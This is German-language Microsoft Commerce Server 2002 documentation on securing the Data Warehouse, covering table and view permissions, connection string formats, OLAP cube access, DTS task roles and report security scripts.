LinkSiteRegisteredUserRel
 SELECT
RegisteredUser
 SELECT
INSERT
Report
 SELECT
INSERT
ReportDimension
 SELECT
INSERT
DELETE
ReportInstanceDbObject
 SELECT
INSERT
ReportInstanceParam
 SELECT
INSERT
ReportParam
 SELECT
INSERT
DELETE
ReportStatus
 SELECT
INSERT
DELETE

Data Warehouse-Sichten

Die folgenden Commerce Server-Sichten werden von dynamischen Berichten verwendet, die unter Verwendung der SQL Server-Datenbank ausgeführt werden, um Cubes und Dimensionen in Analysis Services aufzufüllen.

Gewähren Sie dem Konto, das Sie für den Analysis-Server (OLAP-Datenbank) definieren, SELECT-Zugriff auf all diese Sichten. Keine andere Rolle und kein anderes Konto benötigt Zugriff auf diese Sichten. Anweisungen hierzu finden Sie unter Konfigurieren des Analysis-Server-Kontos.

CampaignItemDimensionView
csdw_BuyerTypeDimensionView
csdw_CampaignEventsDXView
csdw_CampaignEventsFactView
csdw_SalesToUser
csdw_UserStatusViewLU
csdw_UserStatusViewRU
csdw_UserTypeDimensionView
csdw_VisitByUser
csdw_VisitInfoDXView
csdw_VisitInfoFactView
csdw_VisitTypeDimensionView
DateDimensionView
EventsDimensionView
FirstRequest
IsRequestDimensionView
PageGroupDimensionView
RegisteredUserDimensionView
SiteDimensionView
Trans_Predictor
UserBrowsingtoPurchaseFactView
UserRegistrationFactView

Data Warehouse-Funktionen

Die folgenden Commerce Server-Funktionen werden vom DTS-Berichtsvorbereitungstask verwendet. Business Desk-Benutzer benötigen keinen Zugriff auf diese Funktionen.

Der Berichtsvorbereitungstask benötigt EXEC-Berechtigungen für diese Funktionen. Sie müssen die EXEC-Berechtigungen für diesen DTS-Task nicht gesondert aktivieren, da Sie die erforderlichen Berechtigungen bereits besitzen. Sie wurden bei der Konfiguration des Kontos für die Ausführung der übrigen DTS-Tasks eingerichtet.

csdw_fnGetDataTypeString
csdw_fnGetValAsSQLConstant
csdw_fnVarBinToHexStr


DataWarehouse-OLAP-Datenbank

Feedback zu dieser Seite senden Commerce Server 2002

Data Warehouse-OLAP-Datenbank

Der Analysis-Server fungiert als Host für die Data Warehouse-OLAP-Datenbank (Cubes). Der DTS-Berichtsvorbereitungstask füllt die Cubes mit Daten. Auf diese Daten wird vom DTS-Berichtszwischenspeicherungs-Task und den Business Desk-Benutzern beim Ausführen dynamischer OLAP-Berichte zugegriffen.

Gehen Sie zum Sichern der OLAP-Datenbank wie folgt vor:

  • Gewähren Sie dem Konto, das Sie für den Analysis-Server definieren, SELECT-Zugriff auf alle Commerce Server-Sichten.
  • Konfigurieren Sie die Verbindungszeichenfolgen für die OLAP-Datenbank so, dass die Windows-Authentifizierung verwendet wird. Die Verbindungszeichenfolgen für die OLAP-Datenbank sind ConnStr_OLAP (Serverseite) und ConnStr_OLAP_Client (Clientseite). Anweisungen dazu finden Sie unter Konfigurieren der Data Warehouse-Verbindungszeichenfolgen.

Wichtig

  • Wenn sich die OLAP-Cubes auf einem anderen Computer als die Data Warehouse-SQL Server-Datenbank befinden, müssen Sie für folgende Fälle die Anmeldeinformationen für MSSQLServiceOLAPService-Dienste angeben:
    • Der anmeldende Benutzer verfügt über Zugriffsberechtigungen auf die Data Warehouse-SQL Server-Datenbank.
    • Der anmeldende Benutzer ist ein Mitglied der Gruppe der OLAP-Administratoren.

Die folgende Tabelle enthält die dynamischen Berichte und die Cubes in der OLAP-Datenbank, auf die jeder Bericht zugreift. Diese Angaben dienen zu Referenzzwecken.

Bericht | Erfordert SELECT-Zugriff auf diese OLAP-Cubes
Verwendungstrends | mscsWebUsage
Benutzertrends | mscsWebUsage
Aktivität pro Browser | mscsWebUsage
Verschiedene Benutzer pro Zeitraum | mscsWebUsage
Zusammenfassung der Verwendung pro Kalenderwoche | mscsWebUsage
Zusammenfassung der Verwendung pro Wochentag | mscsWebUsage
Zusammenfassung der Verwendung nach Tageszeit | mscsWebUsage
Allgemeine Aktivitätsstatistiken | mscsWebUsage
Eingangsseiten | Eingangsseiten
Ausgangsseiten | Ausgangsseiten
Zusammenfassung der Bandbreite | Bandbreite
Bandbreitentrends | Bandbreite
Produktverkäufe | mscsSales
Zugriffe nach HTTP-Status | Seitenverwendung
Zugriffe nach Win32-Status | Seitenverwendung
Verzeichnisse | Seitenverwendung
Topverweiser (Domänen) nach Anforderungen | mscsWebUsage
Hauptsächlich angeforderte Seiten | Seitenverwendung
Benutzerbesuchstrends | mscsWebUsage
Zusammenfassung der Kampagnenartikel | mscsCampaign
Anzeigenreichweite und -häufigkeit nach Datum | mscsCampaign
Anzeigenreichweite und -häufigkeit pro Werbungstreibender | mscsCampaign
Käuferverhalten bis zum Kauf | Käuferbesuche
Zusammenfassung von Kampagnenereignissen | mscsCampaign
Warenkorbereignisse | Warenkorbereignisse
Bestellereignisse | Bestellereignisse

Gewähren Sie keinen Zugriff auf die folgenden Cubes. Die Berichte greifen nicht direkt auf diese Cubes zu.

mscsCampaignEvents
mscsDateIntersect
mscsOrderedImpressions
mscsVisitInfo


Data Warehouse-Verbindungszeichenfolgen

Die folgende Tabelle enthält die Data Warehouse-Verbindungszeichenfolgen.

Verbindungszeichenfolge | Beschreibung
connstr_db_dw connstr_db_Analysis | Serverseitige und clientseitige Verbindungszeichenfolgen für das Ausführen von Berichten unter Verwendung der Data Warehouse-SQL Server-Datenbank.
ConnStr_OLAP ConnStr_OLAP_Client | Serverseitige und clientseitige Verbindungszeichenfolgen für das Ausführen von Berichten unter Verwendung der Analysis-Server-OLAP-Datenbank. Dies sind die Verbindungszeichenfolgen des primären Analysis-Servers.
ConnStr_OLAP_HA | Wird für Bereitstellungen mit hoher Verfügbarkeit verwendet, bei denen ein zweiter Analysis-Server vorhanden ist. Dies ist die Verbindungszeichenfolge des sekundären Analysis-Servers.
ConnStr_DW | Wird von den DTS-Tasks für den Zugriff auf das Data Warehouse über den OLE DB Provider für Commerce Server verwendet.

Konfigurieren Sie jede Verbindungszeichenfolge so, dass die Windows-Authentifizierung verwendet wird.

Diese Verbindungszeichenfolgen werden in der Verwaltungsdatenbank gespeichert.

Siehe auch

Konfigurieren von Data Warehouse-Verbindungszeichenfolgen

OLE DB Connection Strings for the Data Warehouse (englisches Thema)


DataWarehouse-SQLServer-Verbindungszeichenfolgen

Feedback zu dieser Seite senden Commerce Server 2002

Data Warehouse-SQL Server-Verbindungszeichenfolgen

Das Data Warehouse hat die folgenden Verbindungszeichenfolgen zur SQL Server-Datenbank:

Serverseitige Verbindungszeichenfolge: "connstr_dw"

Serverseitige Verbindungszeichenfolge: "connstr_db_dw"

Clientseitige Verbindungszeichenfolge: "connstr_db_Analysis"

Serverseitige Verbindungszeichenfolge: "connstr_dw"

Dies ist die Data Warehouse-Verbindungszeichenfolge für den OLE DB Provider für Commerce Server.

Wenn Sie die SQL-Authentifizierung verwenden, hat diese Verbindungszeichenfolge folgendes Format:

"URL=mscop://InProcConnect/Server=Servername:Database=Datenbankname: Catalog=DWSchema:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

Oder

"Provider=commerce.dso.1;Data Source=mscop://InProcConnect/Server=Servername: Catalog=DWSchema:Database=Datenbankname:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

Wenn Sie die Windows-Authentifizierung verwenden, hat diese Verbindungszeichenfolge folgendes Format:

"URL=mscop://InProcConnect/Server=Servername:Database=Datenbankname:Catalog=DWSchema:Trusted_Connection=true:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

Oder

"URL=mscop://InProcConnect/Server=Servername:Database=Datenbankname:Catalog=DWSchema:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

Serverseitige Verbindungszeichenfolge: "connstr_db_dw"

Im ASP-Code entspricht diese Verbindungszeichenfolge g_MSCSDataWarehouseSQLConnStr.

Diese serverseitige Data Warehouse-Verbindungszeichenfolge wird von den Analysemodulen zum Abrufen von Daten verwendet, mit denen die ListSheets in den Modulen "Berichte" und "Abgeschlossene Berichte" gefüllt werden. Diese Verbindungszeichenfolge wird in den folgenden Tasks verwendet:

  • Während der Ausführung oder dem Export von Berichten.
  • Zum Löschen von Berichtsdefinitionen und abgeschlossenen Berichten.
  • Zum Speichern von dynamischen Berichten.

Diese Verbindungszeichenfolge benötigt Berechtigungen zum Erstellen und Löschen von Tabellen im Data Warehouse sowie Berechtigungen zum Auswählen, Einfügen, Aktualisieren und Löschen von Datensätzen in Data Warehouse-Tabellen und zum Ausführen von gespeicherten Prozeduren. Diese Verbindungszeichenfolge wird beim Entpacken der Data Warehouse-Ressource festgelegt. Für sie gelten Administratorrechte.

Wenn Sie die SQL-Authentifizierung verwenden, hat diese Verbindungszeichenfolge folgendes Format:

Provider=SQLOLEDB.1;Data Source=ServerName;Initial
Catalog=DataWarehouseName;Integrated Security='SSPI';Extended
Properties=;Network Library=dbmssocn

Wenn Sie die Windows-Authentifizierung verwenden, hat diese Verbindungszeichenfolge folgendes Format:

'Provider=SQLOLEDB.1;Data Source= ServerName;Initial Catalog=
 DataWarehouseName;Integrated Security=SSPI;Persist Security
Info=False;Network Library=dbmssocn'

Clientseitige Verbindungszeichenfolge: "connstr_db_Analysis"

Im ASP-Code entspricht diese Verbindungszeichenfolge g_MSCSDataWarehouseSQLConnStrPivot.

Dies ist die clientseitige Data Warehouse-Verbindungszeichenfolge, die von der PivotTable in dynamischen Berichten zum Abfragen von Berichtsdaten verwendet wird. Zum Ausführen von SQL-basierten dynamischen Berichten muss der angemeldete Windows-Benutzer über die SELECT-Berechtigung für alle Datenbankobjekte verfügen, auf die in der Berichtsabfrage verwiesen wird.

Clients können durch Anzeigen der Quelle während der Ausgabe eines dynamischen Berichts auf diese Verbindungszeichenfolge zugreifen. Infolgedessen wird für diese Verbindungszeichenfolge standardmäßig die Windows-Authentifizierung verwendet. Dies ist auch dann der Fall, wenn Sie beim Entpacken der Data Warehouse-Ressource die SQL-Sicherheit angeben.

Diese Verbindungszeichenfolge hat das folgende Format:

'Provider=SQLOLEDB.1;Data Source= ServerName;Initial Catalog=
 DataWarehouseName;Integrated Security=SSPI;Persist Security
Info=False;Network Library=dbmssocn'

Da die Verbindungszeichenfolge die Windows-Authentifizierung verwendet, können Windows-Benutzer, die nicht über SQL Server-Berechtigungen verfügen, keine dynamischen SQL-Berichte ausführen.

Um vielen verschiedenen Benutzern die Ausführung dynamischer SQL-Berichte zu ermöglichen, erstellen Sie eine Windows-Benutzergruppe mit SQL Server-Berechtigungen. Weitere Informationen finden Sie unter Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen.

Hinweis

  • Commerce Server 2000 enthält diese Verbindungszeichenfolge nicht. Wenn Sie von Commerce Server 2000 auf Commerce Server 2002 aktualisieren, werden die Verbindungszeichenfolgeinformationen für diese Ressource aus connstr_db_dw kopiert. Anschließend müssen Sie connstr_db_Analysis manuell so ändern, dass die Windows-Authentifizierung verwendet wird.

Siehe auch

Konfigurieren von Data Warehouse-Verbindungszeichenfolgen

OLE DB Connection Strings for the Data Warehouse (englisches Thema)


DataWarehouse-Analysis-Server-Verbindungszeichenfolgen

Feedback zu dieser Seite senden Commerce Server 2002

Data Warehouse-Analysis-Server-Verbindungszeichenfolgen

Das Data Warehouse hat die folgenden Verbindungszeichenfolgen zur Analysis-Server-OLAP-Datenbank:

Serverseitige Verbindungszeichenfolge: "ConnStr_OLAP"

Clientseitige Verbindungszeichenfolge: "ConnStr_OLAP_Client"

Verbindungszeichenfolge des sekundären Analysis-Servers: "ConnStr_OLAP_Ha"

Serverseitige Verbindungszeichenfolge: "ConnStr_OLAP"

Im ASP-Code entspricht diese Verbindungszeichenfolge g_MSCSDataWarehouseOLAPConnStr.

Diese serverseitige Verbindungszeichenfolge wird zum Abfragen der OLAP-Datenbank verwendet. Sie wird beim Ausführen eines OLAP-Berichts folgendermaßen verwendet:

  • Bei statischen Berichten werden mit dieser Verbindungszeichenfolge Berichtsdaten aus der OLAP-Datenbank abgefragt.
  • Bei dynamischen Berichten wird diese Verbindungszeichenfolge vor dem Ausführen des Berichts verwendet, um zu überprüfen, ob der im Bericht verwendete Cube für Abfragen bereit ist.

Diese Verbindungszeichenfolge hat das folgende Format:

Provider=MSOLAP;Integrated Security=SSPI;Persist Security Info=False;Data Source=ServerName;Initial Catalog=OLAPDatabaseName

Standardmäßig haben alle Mitglieder der Windows-Domäne des Servers, auf dem OLAP gespeichert ist, Abfragezugriff (Lesezugriff) auf die Commerce Server 2002-OLAP-Cubes.

Clientseitige Verbindungszeichenfolge: "ConnStr_OLAP_Client"

Im ASP-Code entspricht diese Verbindungszeichenfolge g_MSCSDataWarehouseOLAPConnStrPivot.

Dies ist die clientseitige Verbindungszeichenfolge, die von der PivotTable in dynamischen OLAP-Berichten zum Abfragen der OLAP-Datenbank verwendet wird.

Diese Verbindungszeichenfolge hat das folgende Format:

Provider=MSOLAP;Integrated Security=SSPI;Persist Security Info=False;Data Source=ServerName;Initial Catalog=OLAPDatabaseName

Standardmäßig haben alle Mitglieder der Windows-Domäne des Servers, auf dem OLAP gespeichert ist, Abfragezugriff (Lesezugriff) auf die Commerce Server 2002-OLAP-Cubes.

Hinweise

  • In der oben genannten Verbindungszeichenfolge sollten HTTPS sowie die Standardauthentifizierung verwendet werden. Als Benutzer-ID und Kennwort kommen die entsprechenden Daten jedes gültigen Windows-Benutzerkontos des Analysis Services-Computers in der Form <Domäne>\<Benutzer-ID> in Frage (Beispiel REDMOND\SeanChai).
  • Sie können auch ein neues Benutzerkonto einrichten, dem Sie lediglich Abfragerechte für OLAP-Cubes zuweisen.
  • In Commerce Server 2000 gab es diese Verbindungszeichenfolge nicht. Wenn Sie von Commerce Server 2000 auf Commerce Server 2002 aktualisieren, werden die Informationen für diese Verbindungszeichenfolge aus ConnStr_OLAP kopiert.

Weitere Informationen zum Konfigurieren von OLAP über HTTPS finden Sie unter Zugriff auf den Analysis-Server über HTTPS.

Verbindungszeichenfolge des sekundären Analysis-Servers: "ConnStr_OLAP_HA"

Diese Verbindungszeichenfolge wird für OLAP in Testumgebungen sowie in Installationen verwendet, die ein hohes Maß an Verfügbarkeit gewährleisten müssen, wobei ein zweiter Analysis-Server für den Fall vorhanden ist, dass der erste Analysis-Server ausfällt. Sie ist für Benutzer zwar bereits verfügbar, wird derzeit jedoch nicht von den Business Desk-Analysemodulen referenziert.

Diese Verbindungszeichenfolge hat das folgende Format:

Provider=MSOLAP;Integrated Security=SSPI;Persist Security Info=False;Data Source=ServerName;Initial Catalog=OLAPDatabaseName

Siehe auch

Konfigurieren von Data Warehouse-Verbindungszeichenfolgen

OLE DB Connection Strings for the Data Warehouse (englisches Thema)


DataWarehouse-DTS-Tasks

Feedback zu dieser Seite senden Commerce Server 2002

Data Warehouse-DTS-Tasks

Wenn Sie die DTS-Tasks von Commerce Server ausführen möchten, die Daten in das Data Warehouse importieren, müssen Sie ein Konto verwenden, das Mitglied der Administratorengruppe oder ein Alias für den Data Warehouse-Benutzer dbo ist. Weitere Informationen hierzu finden Sie unter Berechtigungen für die Ausführung von DTS-Tasks.

Wenn Sie die Commerce Server-Laufzeitdatenbanken und die Verwaltungsdatenbank sichern möchten, um DTS-Tasks auf sichere Weise ausführen zu können, erstellen Sie mithilfe der DTS-Sicherheitsskripts von Commerce Server eine DTS_Import-Rolle in jeder Datenbank. Weitere Informationen finden Sie unter Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen.

Nachdem Sie die DTS_Import-Rolle in jeder Datenbank erstellt haben, weisen Sie das Konto des Benutzers, der den DTS-Task ausführt, in jeder Datenbank der DTS_Import-Rolle zu.

Nachfolgend sind die DTS-Tasks von Commerce Server aufgeführt, die Daten importieren und das Data Warehouse erweitern:

  • Konfigurationssynchronisation
  • Import von Webserverprotokollen
  • Transaktionsdatenimport
  • Produktkatalogimport
  • IP-Auflösung
  • Berichtsvorbereitung
  • Datenlöschung

In der folgenden Tabelle sind die Datenbanken aufgeführt, auf die diese DTS-Tasks zugreifen, sowie die in den einzelnen Datenbanken erforderlichen Zugriffsarten. Wenn Sie die Commerce Server-Sicherheitsskripts ausführen, werden der DTS_Import-Rolle die entsprechenden Berechtigungen zugewiesen.

Objekt | DTS-Task | Zugriffsart
MSCS_Admin-Datenbank | Alle DTS-Tasks | SELECT INSERT UPDATE DELETE
Commerce Server-Laufzeitdatenbanken | Import von Transaktionsdaten Import von Produktkatalogen Import von Profildaten Import von Kampagnendaten | Auswählen und Erstellen temporärer Tabellen in der Datenbank tempdb auf dem Computer mit SQL Server, der als Hostcomputer für die Commerce Server-Laufzeitdatenbanken fungiert.
Data Warehouse-SQL Server-Datenbank | Alle Importtasks | Das Anmeldekonto muss ein Mitglied der Administratorengruppe oder ein Alias des Data Warehouse-Benutzers dbo sein.
Data Warehouse-OLAP-Datenbank | Berichtsvorbereitungstask | Der Benutzer muss ein Mitglied der Gruppe der OLAP-Administratoren sein.
Active Directory | Import von Profildaten | SELECT

Wenn Sie den Data Warehouse-Import-Assistenten ausführen und ein Paket speichern möchten, muss Ihr Konto über die Berechtigungen SELECT, INSERT und UPDATE in der Datenbank msdb auf dem SQL Server verfügen, auf dem die DTS-Tasks ausgeführt werden.

Die Datenbank msdb wird vom SQL Server-Agent zum Planen von Warnungen und Aufträgen verwendet. Beim Speichern des DTS-Pakets erfolgt ein Zugriff auf diese Datenbank. Weisen Sie die gleichen Berechtigungen auch dem sysDTSPackage-Objekt zu, das Benutzern das Speichern eines DTS-Pakets ermöglicht.

Siehe auch

Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen


CommerceServer-Berichte

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server-Berichte

Damit Business Desk-Benutzer Berichte ausführen können, müssen Sie sicherstellen, dass diese Benutzer über die entsprechenden Datenbank-Zugriffsberechtigungen sowie die entsprechenden Berechtigungen für die Business Desk-Benutzeroberfläche verfügen.

Berechtigungen in Business Desk

Statische Berichte

Dynamische Berichte

Berechtigungen in Business Desk

Mithilfe des Moduls "Business Desk-Berechtigungen" können Sie Business Desk-Benutzern Berechtigungen zum Ausführen von Analyseberichten gewähren bzw. verweigern. Sie können Bereiche des Business Desk-Analysemoduls sichern, sodass bestimmte Berichtsfunktionen nur für ausgewählte Benutzer bzw. Benutzergruppen zur Verfügung stehen.

So können Sie beispielsweise durch Deaktivieren der Schaltfläche [image] im Modul "Berichte" festlegen, dass eine bestimmte Benutzergruppe in Business Desk keine dynamischen Berichte ausführen darf.

Das einzige Standardbenutzerkonto in Business Desk ist die Administratorgruppe BizDesk. Zum Zeitpunkt der Installation einer Business Desk-Anwendung umfasst dieses Gruppenkonto anfänglich die Benutzer in der Gruppe Administratoren für den Webserver, auf dem die Business Desk-Anwendung installiert ist.

Ein Mitglied der Administratorgruppe BizDesk verfügt über alle Berechtigungen und kann weitere Benutzer hinzufügen und ihnen neue Zugriffsrechte für Berichte gewähren. Auf der Grundlage neuer Berichtsberechtigungen sind Benutzer in der Lage, neue Berichte zu erstellen und Berichte zu speichern.

Wichtig

  • Mithilfe neuer Berichtsberechtigungen ist ein Business Desk-Benutzer in der Lage, SQL-Berichtsabfragen im Data Warehouse zu speichern. Diese Abfragen können von jedem Benutzer ausgeführt werden, der den Bericht ausführt. Auch wenn ein Benutzer, der den Bericht erstellt hat, keine direkte Berechtigung zum Ausführen der Berichtsabfrage hat, kann er den Bericht weiterhin im Data Warehouse speichern.

    Es ist möglich, dass Benutzer mit höheren SQL-Berechtigungen die Abfrage im Rahmen der Ausführung des Berichts ausführen, ohne zu ahnen, dass diese Abfrage möglicherweise eine schädigende Auswirkung haben kann. Diese Überlegung sollte bei der Entscheidung, welchen Benutzern neue Berichtsberechtigungen gewährt werden, unbedingt berücksichtigt werden.

Statische Berichte

Zum Erstellen statischer Berichte wird der Bericht-Manager, eine Komponente zum Rendern von Berichten, auf dem SQL Server-Computer ausgeführt. Der Bericht-Manager greift auf die erforderlichen Data Warehouse-Tabellen für die statischen Berichte zu. Business Desk-Benutzer greifen nicht direkt auf den Bericht-Manager zu.

Der Bericht-Manager wird unter dem lokalen Konto ausgeführt. In diesem Sicherheitskontext kann die Business Desk-Anwendung Berichte ausführen, ohne dass weitere Berechtigungen für IIS angegeben werden müssen, was u. U. die Sicherheit gefährdet.

Wichtig

  • Damit statische Berichte ausgeführt werden können, müssen Sie die db_owner-Rolle für die Data Warehouse-Datenbank dem Konto zuweisen, das in der COM+-Komponente Bericht-Manager von Commerce Server angegeben ist. Anweisungen hierzu finden Sie unter Ändern des Bericht-Manager-Kontos.

Dynamische Berichte

Damit Business Desk-Benutzer dynamische Berichte ausführen können, müssen Sie die clientseitige Verbindungszeichenfolge der SQL Server-Datenbank (connstr_db_Analysis) mit Berechtigungen konfigurieren, die Business Desk-Benutzern den Zugriff auf die Data Warehouse-Tabellen und -Sichten ermöglichen, auf die in den Abfragen dynamischer Berichte verwiesen wird.

Diese clientseitige Verbindungszeichenfolge der SQL Server-Datenbank wird nur von der PivotTable in dynamischen Berichten verwendet, um die Berichtsdaten abzufragen.

Wichtig

  • Die clientseitige Verbindungszeichenfolge der SQL Server-Datenbank (connstr_db_Analysis) ist auf dem Business Desk-Client gespeichert. Business Desk-Benutzer können während der Ausgabe eines dynamischen Berichts durch Anzeigen der Quelle darauf zugreifen. Sie müssen daher die Windows-Authentifizierung verwenden, damit das Kennwort nicht in Klartext vorliegt. Benutzer können weiterhin den Namen des Analysis-Servers anzeigen lassen und ihre gesamten Zugriffsmöglichkeiten ausschöpfen. Daher ist es wichtig, dass Sie alle OLAP-Datenbanken auf dem Server sichern.
  • Standardmäßig haben alle Mitglieder der Windows-Domäne des Servers, auf dem OLAP gespeichert ist, die SELECT-Berechtigung für die Commerce Server 2002-OLAP-Cubes.

Siehe auch

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen


Berichte mit Zugriff auf OLAP-Cubes und SQLServer

Feedback zu dieser Seite senden Commerce Server 2002

Berichte mit Zugriff auf OLAP-Cubes und SQL Server

Dieses Thema enthält eine Liste der Analyseberichte, die auf die Analysis-Server- und die SQL Server-Datenbanken zugreifen.

Anhand dieser Liste können Sie überprüfen, auf welche Berichte Gruppen von Businessmanagern Zugriff haben müssen. Anschließend können Sie diesen Benutzern die entsprechenden Anmeldeinformationen zuweisen.

Dynamische Berichte, die auf die Analysis-Server-Datenbank (OLAP-Cubes) zugreifen

Dynamische Berichte, die auf die SQL Server-Datenbank zugreifen

Statische Berichte, die auf die SQL Server-Datenbank zugreifen

Dynamische Berichte, die auf die Analysis-Server-Datenbank (OLAP-Cubes) zugreifen

Es gibt keine statischen Berichte, die auf OLAP-Cubes beruhen. Die folgende Tabelle enthält die dynamischen Berichte und die Cubes in der OLAP-Datenbank, auf die jeder Bericht zugreift.

Bericht | OLAP-Cube | Berechtigungen für "connstr_OLAP" (Serverseite)
Verwendungstrends | mscsWebUsage | SELECT
Benutzertrends | mscsWebUsage | SELECT
Aktivität pro Browser | mscsWebUsage | SELECT
Verschiedene Benutzer pro Zeitraum | mscsWebUsage | SELECT
Zusammenfassung der Verwendung pro Kalenderwoche | mscsWebUsage | SELECT
Zusammenfassung der Verwendung pro Wochentag | mscsWebUsage | SELECT
Zusammenfassung der Verwendung nach Tageszeit | mscsWebUsage | SELECT
Allgemeine Aktivitätsstatistiken | mscsWebUsage | SELECT
Eingangsseiten | Eingangsseiten | SELECT
Ausgangsseiten | Ausgangsseiten | SELECT
Zusammenfassung der Bandbreite | Bandbreite | SELECT
Bandbreitentrends | Bandbreite | SELECT
Produktverkäufe | mscsSales | SELECT
Zugriffe nach HTTP-Status | Seitenverwendung | SELECT
Zugriffe nach Win32-Status | Seitenverwendung | SELECT
Verzeichnisse | Seitenverwendung | SELECT
Topverweiser (Domänen) nach Anforderungen | mscsWebUsage | SELECT
Hauptsächlich angeforderte Seiten | Seitenverwendung | SELECT
Benutzerbesuchstrends | mscsWebUsage | SELECT
Zusammenfassung der Kampagnenartikel | mscsCampaign | SELECT
Anzeigenreichweite und -häufigkeit nach Datum | mscsCampaign | SELECT
Anzeigenreichweite und -häufigkeit pro Werbungstreibender | mscsCampaign | SELECT
Käuferverhalten bis zum Kauf | Käuferbesuche | SELECT
Zusammenfassung von Kampagnenereignissen | mscsCampaign | SELECT
Warenkorbereignisse | Warenkorbereignisse | SELECT
Bestellereignisse | Bestellereignisse | SELECT

Dynamische Berichte, die auf die SQL Server-Datenbank zugreifen

Die folgende Tabelle enthält die dynamischen Berichte, die auf die SQL Server-Datenbank zugreifen, sowie die Tabellen in der Datenbank, auf die jeder Bericht zugreift.

Bericht | Data Warehouse-Tabellen | Berechtigungen für "connstr_db_dw" (Serverseite)
Registrierte Benutzer nach Registrierungsdatum | RegisteredUser LinkSiteRegisteredUserRel Site | SELECT
Tage bis zur Registrierung | UserRegistrationFactView | SELECT
Benutzerregistrierungsrate | RegisteredUser LinkSiteRegisteredUserRel Site | SELECT

Wenn Sie auf diese Berichte über HTTPS zugreifen möchten, müssen Sie sie als statische Berichte neu schreiben.

Statische Berichte, die auf die SQL Server-Datenbank zugreifen

Die folgende Tabelle enthält die Business Desk-Berichte und Data Warehouse-Tabellen, die jeder Bericht verwendet.

Bericht | Data Warehouse-Tabellen | Berechtigungen
Abfragezeichenfolgen (mehrere Werte) | MVQueryStringFactTable MVQStringName Site Date | SELECT
Abfragezeichenfolgen (einzelner Wert) | SVQueryStringFactTable Site Date | SELECT
Eigenschaften von registriertem Benutzer | RegisteredUser LinkSiteRegisteredUserRel Site | SELECT
Kundenverkäufe | OrderFormHeader OrderGroup RegisteredUser Site CurrencyCode | SELECT
Neu registrierte Benutzer | RegisteredUser LinkSiteRegisteredUserRel Site | SELECT
Bericht | Gespeicherte Data Warehouse-Prozedur | Berechtigungen
Eingangspfadanalyse | CSDW_MakePathAnalysis | EXECUTE

Siehe auch

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen

Data Warehouse-Verbindungszeichenfolgen

Konfigurieren von Data Warehouse-Verbindungszeichenfolgen

Konfigurieren des Analysis-Server-Kontos

Zugriff auf den Analysis-Server über HTTPS


Übersicht über die Bereitstellung eines sicheren Data Warehouse

Die folgende Abbildung zeigt die empfohlene Konfiguration für die Bereitstellung des Data Warehouse in einer sicheren Produktionsumgebung.

In dieser Abbildung befindet sich das Data Warehouse nicht aus Sicherheitsgründen auf einem anderen Server als die Commerce Server-Laufzeitdatenbanken, sondern weil auf diese Weise die Leistung verbessert wird.

Das Data Warehouse sollte immer hinter einem Firewall bereitgestellt werden. Kopieren Sie die Webserver-Protokolldateien auf einen Server, der sich hinter dem Firewall befindet, bevor Sie sie importieren. Informationen zum Erstellen eines Firewalls mit Microsoft Internet Security und Acceleration Server finden Sie unter Bereitstellen einer sicheren Site.

Verwenden Sie für Verbindungen mit der Data Warehouse-SQL Server-Datenbank und der Analysis Services-Datenbank (OLAP) die Windows-Authentifizierung. Verwenden Sie für Business Desk-Benutzer die Standardauthentifizierung.

Wenn Commerce Server bereits unter Verwendung der SQL Server-Authentifizierung installiert wurde, können Sie die Data Warehouse-Verbindungszeichenfolgen dahingehend ändern, dass die integrierte Sicherheit von Windows verwendet wird. Anweisungen dazu finden Sie unter Konfigurieren der Data Warehouse-Verbindungszeichenfolgen.

Siehe auch

Bereitstellen einer sicheren Site

Bereitstellen von mehreren Sites, die gemeinsam ein einzelnes Data Warehouse nutzen

Installation auf einer Clusterkonfiguration mit vier Computern

Installation auf einer Konfiguration mit drei Computern ohne Cluster


Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen

Commerce Server enthält Sicherheitsskripts, die für die Commerce Server-Laufzeitdatenbanken und die Verwaltungsdatenbank ausgeführt werden. Diese Skripts befinden sich im Ordner Programme\Microsoft Commerce Server\Support.

Mit diesen Skripts wird die DTS_Import-Rolle für jede Datenbank erstellt, und der Rolle werden die entsprechenden Zugriffsberechtigungen für die angegebene Datenbank zugewiesen.

In der Tabelle sind die Sicherheitsskripts für DTS-Tasks sowie die Datenbanken aufgelistet, für die die Skripts ausgeführt werden.

Skript | Datenbank
Dts_AdminDB_SecurityRole.sql | Verwaltung
Dts_CommerceDB_Campaign_SecurityRole.sql | Kampagnen
Dts_CommerceDB_Catalog_SecurityRole.sql | Katalog
Dts_CommerceDB_Transaction_SecurityRole.sql | Transaktionen
Dts_CommerceDB_UPM_SecurityRole.sql | Profile

Die Laufzeitdatenbanktabellen von Commerce Server können in einer einzigen Datenbank gespeichert sein, oder für jede Ressource können Tabellen in einer eigenen Datenbank vorhanden sein.

Die Skripts wurden für die Verwendung mit SQL Server entwickelt und beziehen sich auf Daten, die in den Commerce Server-Laufzeitdatenbanken und der Verwaltungsdatenbank gespeichert sind. Sie sind nicht für die Verwendung mit Active Directory oder einer Oracle-Datenbank ausgelegt.

Hinweise

  • Die DTS_Import-Rolle beinhaltet keine Berechtigungen zum Erstellen einer Nicht-Commerce Server-Anwendung unter Verwendung der Data Warehouse-Konfiguration. Ein Benutzer, dem die DTS_Import-Rolle zugewiesen ist, kann die Schritte zum Erstellen einer Nicht-Commerce Server-Anwendung zwar ausführen, es wird jedoch keine Anwendung erstellt.

    Wenn Sie eine Nicht-Commerce Server-Anwendung unter Verwendung der Data Warehouse-Konfiguration erstellen möchten, müssen Sie ein Mitglied der Administratorgruppe sein.

